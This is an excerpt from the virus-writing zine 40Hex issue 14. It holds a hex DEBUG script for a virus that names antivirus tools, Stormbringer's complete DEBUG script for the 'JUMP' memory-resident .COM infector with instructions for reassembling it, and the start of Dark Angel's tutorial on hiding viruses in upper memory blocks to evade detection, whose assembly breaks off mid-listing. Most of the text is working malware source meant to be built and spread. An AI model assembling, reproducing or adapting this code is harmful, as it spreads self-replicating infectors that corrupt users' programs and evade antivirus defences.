E 0760 03 EB C0 FE C8 FE C8 48 BE D3 03 EB B6 F6 D8 F6
|
|||
|
E 0770 D8 BE DD 03 57 E8 12 00 58 3B F8 76 05 80 0E A1
|
|||
|
E 0780 00 01 C3 F6 D0 F6 D0 BE F3 03 C7 06 A0 03 8F 03
|
|||
|
E 0790 E8 90 FF C7 06 A0 03 8C 03 C3 01 17 04 01 3F 04
|
|||
|
E 07A0 FF BE 0A 04 E9 8F FC E8 F3 FC 72 ED E8 48 FD 93
|
|||
|
E 07B0 B8 86 C0 0A E2 8B EA E8 E3 FC 3B EA 74 DB 55 E8
|
|||
|
E 07C0 4D FD AB E8 31 FD 93 E8 13 FD 5A 93 E9 0E FD C6
|
|||
|
E 07D0 06 A5 00 01 E8 C6 FC 72 C0 80 3E 7D 00 03 75 B9
|
|||
|
E 07E0 E8 14 FD 93 B0 90 0A C2 52 33 D2 AA EB D5 B0 D0
|
|||
|
E 07F0 F6 06 81 00 01 74 0E BA 02 00 E8 CD FB D0 E2 0A
|
|||
|
E 0800 C2 8A 0E 82 00 A3 8C 02 E8 92 FC 72 27 80 26 A1
|
|||
|
E 0810 00 FE E9 28 FF B4 E0 EB D5 B4 E8 EB D1 B4 F8 EB
|
|||
|
E 0820 CD B4 C0 EB C9 B4 C8 EB C5 B4 D0 F6 06 A1 00 01
|
|||
|
E 0830 74 02 EB BA C3 B4 D8 EB F2 0F C5 04 03 EC 04 01
|
|||
|
E 0840 07 05 FF 83 3E 0F 00 00 74 EA BE A9 04 C6 06 A5
|
|||
|
E 0850 00 01 E9 E1 FB E8 2D FC B0 50 0A C2 AA E8 FB FB
|
|||
|
E 0860 AC 91 E8 92 FC 83 2E 0F 00 03 83 2E 8E 00 02 8B
|
|||
|
E 0870 36 0F 00 88 8C 00 00 89 84 01 00 C3 BA 20 00 E8
|
|||
|
E 0880 48 FB 92 0C 06 24 FE AA 32 C9 3C 06 75 D7 A1 9E
|
|||
|
E 0890 00 8A 0E 9D 00 EB CE B0 9C EB EC 0F 24 05 02 4F
|
|||
|
E 08A0 05 01 5D 05 03 69 05 FF 83 3E 0F 00 0F 74 85 BE
|
|||
|
E 08B0 0B 05 EB 99 E8 CE FB B0 58 0A C2 AA E8 09 00 E8
|
|||
|
E 08C0 99 FB 88 0C E8 16 FC C3 8B 36 0F 00 8A 8C 00 00
|
|||
|
E 08D0 8B 84 01 00 83 06 0F 00 03 83 06 8E 00 02 C3 B0
|
|||
|
E 08E0 07 AA E8 E3 FF 88 0E 9D 00 A3 9E 00 C3 F6 06 A0
|
|||
|
E 08F0 00 01 75 F8 B0 1F AA EB CF F6 06 A0 00 01 75 EC
|
|||
|
E 0900 B8 0E 1F AB 80 0E A0 00 01 C3 50 51 52 8B CA E3
|
|||
|
E 0910 09 33 D2 E8 B4 FA 92 AA E2 F7 5A 59 58 C3 E8 A9
|
|||
|
E 0920 FA 03 F2 AC C3 77 73 72 76 74 7F 7D 7C 7E EB 75
|
|||
|
E 0930 71 7B 79 70 7A 78 E3 E2 E1 E0 18 BD 05 05 F7 05
|
|||
|
E 0940 01 10 06 03 1F 06 FF BE AA 05 E9 E9 FA F6 06 A1
|
|||
|
E 0950 00 01 74 32 BE 95 05 BA 11 00 E8 C1 FF AA A2 DB
|
|||
|
E 0960 05 8B 0E 82 00 8B 2E A2 00 55 9D EB 09 33 D2 E8
|
|||
|
E 0970 58 FA 92 AA EB 0C BA 14 00 E8 4E FA 8A C2 AA E8
|
|||
|
E 0980 88 FF 89 0E 82 00 C3 80 3E 81 00 03 75 F8 BE A6
|
|||
|
E 0990 05 BA 02 00 F6 06 A1 00 01 74 BF BA 04 00 EB BA
|
|||
|
E 09A0 B0 E9 AA BA 14 00 E8 21 FA 8B C2 AB E9 5B FF F6
|
|||
|
E 09B0 06 7E 11 04 74 D0 B0 E8 AA A1 DC 10 48 48 2B C7
|
|||
|
E 09C0 AB C3 FB FA FD FC BE 32 06 BA 04 00 E8 4F FF AA
|
|||
|
E 09D0 C3 04 54 06 04 61 06 04 6E 06 01 7B 06 FF BE 41
|
|||
|
E 09E0 06 E9 52 FA 8B 2E 96 00 B4 84 80 3E 95 00 03 74
|
|||
|
E 09F0 1E 8B 2E 9A 00 B4 85 80 3E 99 00 03 74 11 8B 2E
|
|||
|
E 0A00 8A 00 B4 87 80 3E 89 00 03 74 04 33 ED B4 06 C3
|
|||
|
E 0A10 F6 06 A0 00 01 75 04 C6 05 2E 47 C3 E8 79 FA 72
|
|||
|
E 0A20 3F 50 E8 D2 FA 0A C0 58 74 36 E8 E6 FA 0A 06 A5
|
|||
|
E 0A30 00 E8 DC FF AB 8B 36 E2 10 89 04 E8 B9 FA 89 44
|
|||
|
E 0A40 04 BA 21 00 2A 16 A5 00 E8 7F F9 89 54 02 83 06
|
|||
|
E 0A50 E2 10 06 A1 DE 10 03 C2 2B C5 AB 80 26 A1 00 FE
|
|||
|
E 0A60 C3 06 08 08 02 02 00 F7 06 00 FB 06 00 FF 06 00
|
|||
|
E 0A70 03 07 00 25 07 FF 81 3E E2 10 7A 11 73 E2 E8 5D
|
|||
|
E 0A80 FF BE D6 06 E9 AF F9 B0 30 EB 91 B0 00 EB 8D B0
|
|||
|
E 0A90 28 EB 89 B0 D0 BA 04 00 E8 2F F9 0B D2 74 10 F6
|
|||
|
E 0AA0 06 81 00 01 74 09 80 3E 82 00 00 74 02 0C 02 BA
|
|||
|
E 0AB0 01 00 E9 78 FF 80 CC 08 EB D9 05 3A 07 01 68 07
|
|||
|
E 0AC0 FF E8 1A FF BE 2A 07 E9 6C F9 E8 B8 F9 B0 8A E8
|
|||
|
E 0AD0 3D FA 52 E8 3A FF AB 8B D7 81 EA 82 11 E8 EA F8
|
|||
|
E 0AE0 A1 7A 11 03 C2 2B C5 AB 92 5A E8 6E F9 08 2C BE
|
|||
|
E 0AF0 81 11 03 F0 AD E9 E5 F9 E8 9D F9 72 17 B0 88 E8
|
|||
|
E 0B00 0D FA E8 0B FF AB BA 0E 00 E8 BE F8 A1 7C 11 03
|
|||
|
E 0B10 C2 2B C5 AB C3 0D B7 05 20 E6 06 11 31 07 46 F5
|
|||
|
E 0B20 01 01 36 06 10 B3 04 10 18 05 04 85 04 04 89 04
|
|||
|
E 0B30 02 8D 04 02 91 04 02 95 04 02 99 04 02 A5 04 07
|
|||
|
E 0B40 25 03 07 2F 03 04 39 03 04 43 03 09 63 03 09 6D
|
|||
|
E 0B50 03 02 77 03 02 87 03 04 59 03 04 CE 03 04 D8 03
|
|||
|
E 0B60 04 11 04 02 E1 03 02 F7 03 FF FC B9 0A 00 BF 7D
|
|||
|
E 0B70 00 33 C0 AA 83 C7 03 E2 FA 93 A0 7E 11 24 01 A2
|
|||
|
E 0B80 A0 00 B0 04 F6 06 7E 11 02 74 02 0C 03 08 06 8D
|
|||
|
E 0B90 00 C7 06 0F 00 0F 00 C7 06 E2 10 E4 10 B9 05 00
|
|||
|
E 0BA0 BE D1 06 BF D6 06 AC 98 92 E8 1E F8 92 03 D8 AA
|
|||
|
E 0BB0 47 47 E2 F2 0B DB 74 E5 BF 81 11 B8 FF FF 50 F6
|
|||
|
E 0BC0 06 7E 11 04 74 1E 58 BA 63 00 E8 FD F7 42 52 52
|
|||
|
E 0BD0 E8 F7 F7 E8 34 FD 89 3E DC 10 B0 C3 AA 58 2B C2
|
|||
|
E 0BE0 92 E8 26 FD 8B C7 2D 81 11 03 06 7A 11 A3 7F 11
|
|||
|
E 0BF0 BA 0C 01 58 2B D0 E8 D1 F7 03 D0 81 C2 90 01 89
|
|||
|
E 0C00 16 E0 10 81 06 E0 10 81 11 03 16 7A 11 89 16 DE
|
|||
|
E 0C10 10 C7 06 9E 08 85 07 C6 06 A5 08 00 57 BA 03 00
|
|||
|
E 0C20 E8 A7 F7 0A D2 74 02 B2 01 88 16 A5 00 BE 85 07
|
|||
|
E 0C30 E8 03 F8 58 EB 00 57 83 C7 16 3B 3E E0 10 5F 72
|
|||
|
E 0C40 DB C7 06 9E 08 8E 07 C6 06 A5 08 18 EB CE 3B 3E
|
|||
|
E 0C50 E0 10 72 C8 97 75 C5 97 8B DF B8 B7 0F 2B C7 A3
|
|||
|
E 0C60 38 09 BE 21 09 B9 21 00 F3 A4 8B 36 E2 10 81 FE
|
|||
|
E 0C70 E4 10 76 3C 83 EE 06 8A 04 8A D0 80 E2 FC 80 FA
|
|||
|
E 0C80 00 75 02 0C 28 80 FA 28 75 02 24 03 B4 8F 81 24
|
|||
|
E 0C90 FC 38 81 3C D0 08 75 03 80 E4 C7 A3 1A 09 8B 54
|
|||
|
E 0CA0 02 89 16 1C 09 8B 4C 04 EB 00 31 8F 34 12 EB BE
|
|||
|
E 0CB0 C3 FB 0E 1F BE 34 12 B8 34 12 B9 1D 08 31 04 EB
|
|||
|
E 0CC0 09 05 34 12 46 E2 F6 E9 00 00 05 34 12 46 31 04
|
|||
|
E 0CD0 EB EF B9 3A 10 33 D2 E8 16 00 B4 40 8B 1E 74 10
|
|||
|
E 0CE0 9C 9A 00 00 00 00 72 02 3B C1 9C E8 02 00 9D C3
|
|||
|
E 0CF0 51 8B F2 B8 34 12 B9 1D 08 31 04 05 34 12 46 31
|
|||
|
E 0D00 04 05 34 12 46 E2 F2 59 C3 B0 03 CF 52 1E 0E 1F
|
|||
|
E 0D10 B8 24 35 E8 65 00 8C 06 90 10 89 1E 8E 10 B8 24
|
|||
|
E 0D20 25 BA 71 10 E8 54 00 1F 5A C3 B8 24 25 2E C5 16
|
|||
|
E 0D30 8E 10 E8 46 00 C3 52 26 8B 47 02 40 33 D2 2E F7
|
|||
|
E 0D40 36 2B 00 26 8B 07 24 1F 3A C2 F9 74 09 26 8B 07
|
|||
|
E 0D50 25 E0 FF 0A C2 F8 5A C3 B4 40 EB 02 B4 3F E8 15
|
|||
|
E 0D60 00 72 02 3B C1 C3 33 C9 8B D1 B8 00 42 EB 07 33
|
|||
|
E 0D70 C9 8B D1 B8 02 42 2E 8B 1E 74 10 9C FA 2E FF 1E
|
|||
|
E 0D80 4A 10 C3 B8 00 57 E8 ED FF BB 92 10 89 0F 89 57
|
|||
|
E 0D90 02 E8 A2 FF 73 01 C3 33 D2 E8 2E F6 89 16 28 09
|
|||
|
E 0DA0 89 16 5C 10 33 D2 E8 21 F6 89 16 3B 09 89 16 64
|
|||
|
E 0DB0 10 33 D2 E8 14 F6 89 16 32 09 89 16 6A 10 E8 A5
|
|||
|
E 0DC0 FF B9 18 00 BA 76 10 E8 92 FF 72 CA 8B F2 BF 11
|
|||
|
E 0DD0 00 F3 A4 52 E8 98 FF A3 96 10 89 16 98 10 8B F0
|
|||
|
E 0DE0 8B FA 5B 81 3F 5A 4D 74 18 81 3F 4D 5A 74 12 C6
|
|||
|
E 0DF0 06 23 00 00 3D 79 EC 77 9D C7 06 1B 00 00 00 EB
|
|||
|
E 0E00 2B C6 06 23 00 01 8B 47 04 F7 26 2D 00 2B C6 1B
|
|||
|
E 0E10 D7 72 B7 8B C6 8B D7 05 06 13 83 D2 00 F7 36 2D
|
|||
|
E 0E20 00 0B D2 74 01 40 89 47 04 89 57 02 83 E6 F0 83
|
|||
|
E 0E30 C6 10 83 D7 00 8B D6 8B CF 53 E8 2D FF 5B 80 3E
|
|||
|
E 0E40 23 00 00 75 17 C6 07 E9 05 00 01 A3 7C 11 05 3A
|
|||
|
E 0E50 10 A3 7A 11 C6 06 7E 11 01 90 EB 51 8B 47 08 F7
|
|||
|
E 0E60 26 29 00 2B F0 1B FA 8B C6 8B D7 F7 36 29 00 89
|
|||
|
E 0E70 47 16 A3 11 00 8B 47 0E F7 26 29 00 8B 4F 10 03
|
|||
|
E 0E80 C1 83 D2 00 2B C6 1B D7 72 0D 2D 80 00 83 DA 00
|
|||
|
E 0E90 72 5A 81 47 0E 30 01 C7 06 7A 11 3A 10 C7 06 7C
|
|||
|
E 0EA0 11 00 00 89 0E 8E 00 C6 06 7E 11 02 90 A1 7C 11
|
|||
|
E 0EB0 A3 25 09 A3 8A 0E BA 06 00 E8 0E F5 0B D2 74 05
|
|||
|
E 0EC0 80 0E 7E 11 04 E8 A2 FC E8 FF 04 72 1F A1 7F 11
|
|||
|
E 0ED0 80 3E 23 00 00 75 08 2D 03 01 A3 77 10 EB 03 A3
|
|||
|
E 0EE0 8A 10 8B CF BA 81 11 2B CA E8 6C FE 72 2B E8 75
|
|||
|
E 0EF0 FE B9 18 00 BA 76 10 E8 5E FE 72 1D 81 06 96 10
|
|||
|
E 0F00 06 13 83 16 98 10 00 BA 19 00 E8 BD F4 0B D2 74
|
|||
|
E 0F10 08 BB 92 10 E8 1F FE 89 07 8B 16 96 10 8B 0E 98
|
|||
|
E 0F20 10 E8 46 FE 33 C9 E8 2F FE B8 01 57 8B 0E 92 10
|
|||
|
E 0F30 8B 16 94 10 E8 3F FE C3 26 81 2F 06 13 26 83 5F
|
|||
|
E 0F40 02 00 73 0A 26 81 07 06 13 26 83 57 02 00 C3 03
|
|||
|
E 0F50 43 4F 4D 03 45 58 45 04 53 43 41 4E 07 56 53 48
|
|||
|
E 0F60 49 45 4C 44 05 43 4C 45 41 4E 08 46 49 4E 44 56
|
|||
|
E 0F70 49 52 55 05 47 55 41 52 44 08 56 49 56 45 52 49
|
|||
|
E 0F80 46 59 02 54 42 02 2D 56 07 56 49 52 53 54 4F 50
|
|||
|
E 0F90 03 4E 4F 44 04 48 49 45 57 05 50 41 53 43 41 07
|
|||
|
E 0FA0 4E 45 54 45 4E 56 49 06 46 2D 50 52 4F 54 06 43
|
|||
|
E 0FB0 48 4B 44 53 4B 53 51 56 57 1E 06 50 8B F2 8B DE
|
|||
|
E 0FC0 33 FF B9 40 00 AC 3C 5C 74 08 3C 2F 74 04 3C 3A
|
|||
|
E 0FD0 75 02 8B DE 3C 2E 75 02 8B FE 0A C0 74 04 E2 E5
|
|||
|
E 0FE0 EB 45 3B FB 76 41 8B F7 BF BF 0B 0E 07 E8 3A 00
|
|||
|
E 0FF0 74 05 E8 35 00 75 30 B1 0F 8B F3 BF C7 0B 51 E8
|
|||
|
E 1000 28 00 59 74 0B E2 F7 F8 58 07 1F 5F 5E 59 5B C3
|
|||
|
E 1010 83 F9 02 77 0D 58 50 80 FC 4B 75 06 2E C6 06 0A
|
|||
|
E 1020 0D 6C 83 F9 01 74 E0 F9 EB DE 56 26 8A 0D 47 8B
|
|||
|
E 1030 C7 03 C1 50 AC 3C 61 72 06 3C 7A 77 02 2C 20 AE
|
|||
|
E 1040 E1 F2 5F 5E C3 50 53 51 56 57 55 1E 06 E8 75 01
|
|||
|
E 1050 E8 B9 FC B8 00 43 E8 22 FD 2E 89 0E F7 0C B8 01
|
|||
|
E 1060 43 33 C9 E8 15 FD 72 24 B8 02 3D E8 0D FD 72 13
|
|||
|
E 1070 52 1E 0E 1F 0E 07 A3 74 10 E8 07 FD B4 3E E8 F5
|
|||
|
E 1080 FC 1F 5A B8 01 43 B9 00 00 E8 EF FC E8 9B FC 07
|
|||
|
E 1090 1F 5D 5F 5E 59 5B 58 C3 FB EB 00 80 FC 11 74 05
|
|||
|
E 10A0 80 FC 12 75 2C 53 06 50 B4 2F E8 CE FC 58 E8 CA
|
|||
|
E 10B0 FC 3C FF 74 19 50 26 80 3F FF 75 03 83 C3 07 83
|
|||
|
E 10C0 C3 17 E8 71 FC 58 73 06 83 C3 06 E8 6A FE 07 5B
|
|||
|
E 10D0 CF 80 FC 4E 74 05 80 FC 4F 75 2C 53 06 50 B4 2F
|
|||
|
E 10E0 E8 98 FC 58 E8 94 FC 72 11 50 83 C3 16 E8 46 FC
|
|||
|
E 10F0 58 73 06 83 C3 04 E8 3F FE F8 07 5B 50 55 8B EC
|
|||
|
E 1100 9F 88 66 08 5D 58 CF 80 FC 31 74 0B 80 FC 4C 75
|
|||
|
E 1110 09 2E C6 06 0A 0D 00 E8 AB 00 FC 52 3D 00 4B 74
|
|||
|
E 1120 47 3D 00 6C 75 07 F6 C2 12 8B D6 75 45 80 FC 3C
|
|||
|
E 1130 74 40 80 FC 5B 74 3B 80 FC 3E 75 25 2E 3B 1E 9A
|
|||
|
E 1140 10 75 1E 0B DB 74 1A 2E C7 06 9A 10 00 00 E8 2A
|
|||
|
E 1150 FC 72 0B 1E 0E 1F BA 9C 10 E8 E9 FE 1F F8 5A EB
|
|||
|
E 1160 9B 5A FA 2E FF 2E 4A 10 E8 4A FE 72 F4 E8 D5 FE
|
|||
|
E 1170 EB EF 2E 83 3E 9A 10 00 75 E7 E8 38 FE 72 E2 2E
|
|||
|
E 1180 89 16 FA 0D 5A 52 E8 F2 FB BA 00 00 72 D0 51 56
|
|||
|
E 1190 57 06 8B F2 BF 9A 10 0E 07 AB B9 40 00 F3 A4 07
|
|||
|
E 11A0 5F 5E 59 EB B8 54 42 4D 45 4D 58 58 58 54 42 43
|
|||
|
E 11B0 48 4B 58 58 58 54 42 44 53 4B 58 58 58 54 42 46
|
|||
|
E 11C0 49 4C 58 58 58 50 52 1E B4 FF 32 DB CD 13 B4 FE
|
|||
|
E 11D0 CD 13 B8 02 FA BA 45 59 B3 31 CD 16 0E 1F B4 52
|
|||
|
E 11E0 CD 21 26 C4 5F 22 BE 0D 0E B9 04 00 51 83 C6 08
|
|||
|
E 11F0 8D 7F 0A B9 04 00 56 F3 A7 5E 59 E0 EF 75 06 26
|
|||
|
E 1200 80 0E 16 00 01 26 C4 1F 83 FB FF 75 D9 1F 5A 58
|
|||
|
E 1210 C3 43 4F 4D 4D 41 4E 44 00 B8 00 00 B1 04 D3 E8
|
|||
|
E 1220 8C CA 03 C2 50 B8 9A 0E 50 CB FC 0E 1F B8 0F 00
|
|||
|
E 1230 2B 06 0F 00 49 F6 F1 D1 E0 03 E0 B1 19 A1 F5 0F
|
|||
|
E 1240 F6 F1 0A E4 75 1D B4 2A CD 21 80 FA 07 75 14 B4
|
|||
|
E 1250 09 BA F7 0F CD 21 BA CC 03 EC 24 FD B2 C2 EE B4
|
|||
|
E 1260 4C CD 21 E8 5F FF B4 62 CD 21 53 33 C0 8E D8 8E
|
|||
|
E 1270 1E FE 04 81 3E 81 0E 43 4F 74 3D 93 48 8E D8 03
|
|||
|
E 1280 06 03 00 2D 44 01 8C CA 81 C2 04 01 3B C2 72 1B
|
|||
|
E 1290 8C CA 2E 03 16 1B 00 3B C2 72 10 8C D2 8B F4 46
|
|||
|
E 12A0 B1 04 D3 EE 46 03 D6 3B C2 73 24 B4 48 BB FF FF
|
|||
|
E 12B0 CD 21 81 FB 45 01 73 03 E9 9A 00 B4 48 CD 21 48
|
|||
|
E 12C0 8E D8 C7 06 01 00 00 00 03 06 03 00 2D 44 01 8A
|
|||
|
E 12D0 16 00 00 C6 06 00 00 4D 81 2E 03 00 45 01 A3 12
|
|||
|
E 12E0 00 8E D8 88 16 00 00 40 A3 01 00 C7 06 03 00 44
|
|||
|
E 12F0 01 1E 07 0E 1F FF 06 F5 0F BE 81 0E BF 08 00 A5
|
|||
|
E 1300 A5 A5 A5 8E C0 33 F6 8B FE B9 3A 10 F3 A4 BE 42
|
|||
|
E 1310 09 B9 3A 00 F3 A4 33 C0 26 A3 9A 10 8E D8 A1 6C
|
|||
|
E 1320 04 26 A3 43 00 A1 6E 04 26 A3 40 00 C6 06 FB 04
|
|||
|
E 1330 EA C7 06 FC 04 08 0D 8C 06 FE 04 FA A1 84 00 26
|
|||
|
E 1340 A3 4A 10 A1 86 00 26 A3 4C 10 C7 06 84 00 FB 04
|
|||
|
E 1350 8C 1E 86 00 FB 5B 0E 1F 8E C3 BE 11 00 80 7C 12
|
|||
|
E 1360 00 75 0D BF 00 01 89 7C 14 89 5C 16 A4 A5 EB 0C
|
|||
|
E 1370 8C C8 2B 04 01 44 16 03 44 0E 8E D0 8E DB 33 C0
|
|||
|
E 1380 2E FF 2E 25 00 E2 04 0D 0A 57 65 6C 63 6F 6D 65
|
|||
|
E 1390 20 74 6F 20 74 68 65 20 45 78 70 6C 6F 73 69 6F
|
|||
|
E 13A0 6E 27 73 20 4D 75 74 61 74 69 6F 6E 20 4D 61 63
|
|||
|
E 13B0 68 69 6E 65 20 21 0D 0A 44 69 73 20 69 73 20 6C
|
|||
|
E 13C0 65 76 65 6C 20 33 2E 0D 0A 24 B9 3A 10 33 D2 E8
|
|||
|
E 13D0 16 00 B4 40 8B 1E 74 10 9C 9A 00 00 00 00 72 02
|
|||
|
E 13E0 3B C1 9C E8 02 00 9D C3 51 8B F2 B8 34 12 B9 1D
|
|||
|
E 13F0 08 31 04 05 34 12 46 31 04 05 34 12 46 E2 F2 59
|
|||
|
E 1400 C3 B0 03 CF
|
|||
|
R CX
|
|||
|
1304
|
|||
|
W
|
|||
|
Q
|
|||
|
40Hex Number 14 Volume 5 Issue 1 File 011
|
|||
|
|
|||
|
The following is a DEBUG script for my old JUMP virus, written sometime
|
|||
|
in the summer of '94 or so I think. I had gotten bored as hell, and couldn't
|
|||
|
think of much that hadn't been done with viruses, so I came up with this
|
|||
|
thing.... anyway, I didn't make it the typical "e 100 xx xx" type debug
|
|||
|
script, 'cause I wanted people to be able to see how it got its name.
|
|||
|
It can be reassembled the same as any debug script, just debug <jump.scr.
|
|||
|
Aside from its most obvious trait, it is a memory resident appending .com
|
|||
|
infector.
|
|||
|
|
|||
|
-Stormbringer
|
|||
|
|
|||
|
------------------------- cut here for jump.scr ------------------------
|
|||
|
a 100
|
|||
|
jmp near 0104
|
|||
|
jmp 5D00:00E8
|
|||
|
jmp 010B
|
|||
|
jmp 0107:ED81
|
|||
|
jmp 0112
|
|||
|
jmp DB33:4AB4
|
|||
|
jmp 0119
|
|||
|
jmp 9021:CD4B
|
|||
|
jmp 0120
|
|||
|
jmp 9031:EB83
|
|||
|
jmp 0127
|
|||
|
jmp 21CD:4AB4
|
|||
|
jmp 012E
|
|||
|
jmp 9000:30BB
|
|||
|
jmp 0135
|
|||
|
jmp 21CD:48B4
|
|||
|
jmp 013C
|
|||
|
jmp 9000:102D
|
|||
|
jmp 0143
|
|||
|
jmp 9090:C08E
|
|||
|
jmp 014A
|
|||
|
jmp 9000:F0BF
|
|||
|
jmp 0151
|
|||
|
jmp 90AA:5AB0
|
|||
|
jmp 0158
|
|||
|
jmp ABC0:8C90
|
|||
|
jmp 015F
|
|||
|
jmp 0601:00BF
|
|||
|
jmp 0166
|
|||
|
jmp 0100:B68D
|
|||
|
jmp 016D
|
|||
|
jmp 5001:83B8
|
|||
|
jmp 0174
|
|||
|
jmp 9001:D2B9
|
|||
|
jmp 017B
|
|||
|
jmp 90CB:A4F2
|
|||
|
jmp 0383
|
|||
|
jmp 071F:061E
|
|||
|
jmp 018A
|
|||
|
jmp 9001:00BF
|
|||
|
jmp 0191
|
|||
|
jmp A501:E3BE
|
|||
|
jmp 0198
|
|||
|
jmp 90C0:33A4
|
|||
|
jmp 019F
|
|||
|
jmp 90FA:D88E
|
|||
|
jmp 01A6
|
|||
|
jmp 9001:F5B8
|
|||
|
jmp 01AD
|
|||
|
jmp 0084:0687
|
|||
|
jmp 01B4
|
|||
|
jmp 02D2:A32E
|
|||
|
jmp 01BB
|
|||
|
jmp 9090:C88C
|
|||
|
jmp 01C2
|
|||
|
jmp 0086:0687
|
|||
|
jmp 01C9
|
|||
|
jmp 02D4:A32E
|
|||
|
jmp 01D0
|
|||
|
jmp 1F06:06FB
|
|||
|
jmp 01D7
|
|||
|
jmp 5701:00BF
|
|||
|
jmp 01DE
|
|||
|
jmp 0000:E9CB
|
|||
|
jmp 0020:CD90
|
|||
|
jmp 504D:554A
|
|||
|
jmp 4442
|
|||
|
jmp 5D53:505B
|
|||
|
jmp 904B:003D
|
|||
|
jz 01FE
|
|||
|
jmp 02D1
|
|||
|
jmp 0201
|
|||
|
jmp 5251:5350
|
|||
|
jmp 0208
|
|||
|
jmp 5756:061E
|
|||
|
jmp 020F
|
|||
|
jmp 3D02:B890
|
|||
|
jmp 0216
|
|||
|
jmp 0373:21CD
|
|||
|
jmp 02C6
|
|||
|
jmp 0220
|
|||
|
jmp 01E3:BA93
|
|||
|
jmp 0227
|
|||
|
jmp 0003:B90E
|
|||
|
jmp 022E
|
|||
|
jmp 903F:B41F
|
|||
|
jmp 0235
|
|||
|
jmp 9090:21CD
|
|||
|
jmp 023C
|
|||
|
jmp 01E3:3E80
|
|||
|
jmp 7EB7
|
|||
|
jmp 0246
|
|||
|
jmp 9001:E3BE
|
|||
|
jmp 024D
|
|||
|
jmp 904D:3C80
|
|||
|
jz 02BF
|
|||
|
jmp 0256
|
|||
|
jmp 9042:02B8
|
|||
|
jmp 025D
|
|||
|
jmp D233:C933
|
|||
|
jmp 0264
|
|||
|
jmp 9090:21CD
|
|||
|
jmp 026B
|
|||
|
jmp 9000:032D
|
|||
|
jmp 0272
|
|||
|
jmp 9001:E0A3
|
|||
|
jmp 0279
|
|||
|
jmp 9090:40B4
|
|||
|
jmp 0280
|
|||
|
jmp FB01:00BA
|
|||
|
jmp 0287
|
|||
|
jmp 9001:D2B9
|
|||
|
jmp 028E
|
|||
|
jmp C933:21CD
|
|||
|
jmp 0295
|
|||
|
jmp 9042:00B8
|
|||
|
jmp 029C
|
|||
|
jmp 21CD:D233
|
|||
|
jmp 02A3
|
|||
|
jmp FBFA:40B4
|
|||
|
jmp 02AA
|
|||
|
jmp 9001:DFBA
|
|||
|
jmp 02B1
|
|||
|
jmp 0003:B990
|
|||
|
jmp 02B8
|
|||
|
jmp 9090:21CD
|
|||
|
jmp 02BF
|
|||
|
jmp 21CD:3EB4
|
|||
|
jmp 02C6
|
|||
|
jmp 1F07:5E5F
|
|||
|
jmp 02CD
|
|||
|
jmp 585B:595A
|
|||
|
jmp 0000:0000
|
|||
|
|
|||
|
rcx
|
|||
|
1d6
|
|||
|
rbx
|
|||
|
0
|
|||
|
n jump.com
|
|||
|
w 100
|
|||
|
q
|
|||
|
|
|||
|
|
|||
|
------------------------- end of jump.scr ---------------------------
|
|||
|
|
|||
|
40Hex Number 14 Volume 5 Issue 1 File 012
|
|||
|
|
|||
|
UMB Residency
|
|||
|
By Dark Angel, Phalcon/Skism '95
|
|||
|
|
|||
|
One day, while fiddling with loading programs into MSDOS UMB's, I realised
|
|||
|
that there are very few viruses that used UMB's. This is surprising, given
|
|||
|
the prevalence of UMB's and the ease with which DOS viruses may hide their
|
|||
|
presence through the use of UMB's.
|
|||
|
|
|||
|
The UMB's, or upper memory blocks, consist of the memory above 640K and below
|
|||
|
1MB (segments A000 to FFFF). This region was reserved early on for BIOS and
|
|||
|
peripherals, notably video memory. There is normally plenty of unused space in
|
|||
|
this region, so enterprising programmers found a simple way to incorporate the
|
|||
|
memory into DOS's memory allocation scheme. They simply extended the MCB chain
|
|||
|
into that region, with MCB's indicating already allocated memory covering the
|
|||
|
memory used for other purposes by the machine. In this way, more memory,
|
|||
|
albeit fragmented, was usable for loading programs. The UMB's are especially
|
|||
|
handy for storing TSR's, since they have smaller memory constraints than most
|
|||
|
programs. The programmers at Microsoft, realising the utility of UMB's,
|
|||
|
decided to incorporate UMB's into DOS beginning at version 5, so now there is
|
|||
|
a standardised method of handling upper memory.
|
|||
|
|
|||
|
The MCB's handling upper memory are slightly more complex than regular MCB's.
|
|||
|
The format of a UMB control block is:
|
|||
|
|
|||
|
Offset Size Description
|
|||
|
00 BYTE 'Z' if last MCB in chain, 'M' otherwise
|
|||
|
01 WORD PSP segment of owner (8 if MSDOS, 0 if free)
|
|||
|
03 WORD size of memory block in paragraphs
|
|||
|
05 3 BYTES unused
|
|||
|
08 8 BYTES program name in ASCII or
|
|||
|
"SC" if system code or
|
|||
|
"SD" if system data
|
|||
|
|
|||
|
The method is pretty simple to understand and very easy to implement. In
|
|||
|
DOS 5+, the first UMB can be located through a pointer in the disk buffer
|
|||
|
information structure which, in turn, may be located through the DOS master
|
|||
|
list structure. This UMB is usually located at 9FFF:0000, but there is no need
|
|||
|
for this to be the case. It's simply the most convenient location for it. The
|
|||
|
only difference between modifying regular MCB's and UMB's is the extra field
|
|||
|
at offset 8 which may be used to mark the block as DOS system code. By marking
|
|||
|
this with DOS's usual fields to indicate unusuable memory such as video memory
|
|||
|
and ROM, we effectively hide the virus from detection by utilities such as
|
|||
|
MEM. Since it doesn't reside in conventional memory (below 640K), there is no
|
|||
|
decrease in memory a la 40:13 BIOS manipulating memory residency techniques.
|
|||
|
|
|||
|
The sample code below, written for a simple COM infector, illustrates the
|
|||
|
technique.
|
|||
|
|
|||
|
start: xor di,di
|
|||
|
|
|||
|
mov ax,3306 ; get true DOS version
|
|||
|
int 21
|
|||
|
inc al ; DOS 4-?
|
|||
|
jz no_UMBs ; if so, we don't have UMB's
|
|||
|
|
|||
|
mov ah,52 ; get DOS master list
|
|||
|
int 21 ; structure
|
|||
|
|
|||
|
lds si,es:[bx+12] ; get ptr to disk buffer info
|
|||
|
|
|||
|
mov ax,ds:[si+1f] ; get address of the first UMB
|
|||
|
inc ax ; (FFFF if no UMBs present)
|
|||
|
jz no_UMBs
|
|||
|
dec ax ; undo damage from above
|
|||
|
search_chain: mov ds,ax ; go to the MCB
|
|||
|
cmp word ptr [di+1],di ; unused?
|
|||
|
jnz search_next
|
|||
|
cmp word ptr [di+3],reslength_P ; MCB large enough to
|
|||
|
ja handle_MCB ; hold us and our MCB?
|
|||
|
search_next: cmp byte ptr [di],'Z' ; end of chain?
|
|||
|
jz no_UMBs
|
|||
|
mov bx,[di+3] ; go to the next MCB
|
|||
|
inc ax ; 40Hex
|
|||
|
add ax,bx
|
|||
|
jmp search_chain
|
|||
|
|
|||
|
no_UMBs: mov ax,cs
|
|||
|
dec ax ; get the MCB for current
|
|||
|
mov ds,ax ; program
|
|||
|
cmp word ptr [di+3],reslength_P + 1000 ; large enough for
|
|||
|
jna fail_init ; program and virus and its
|
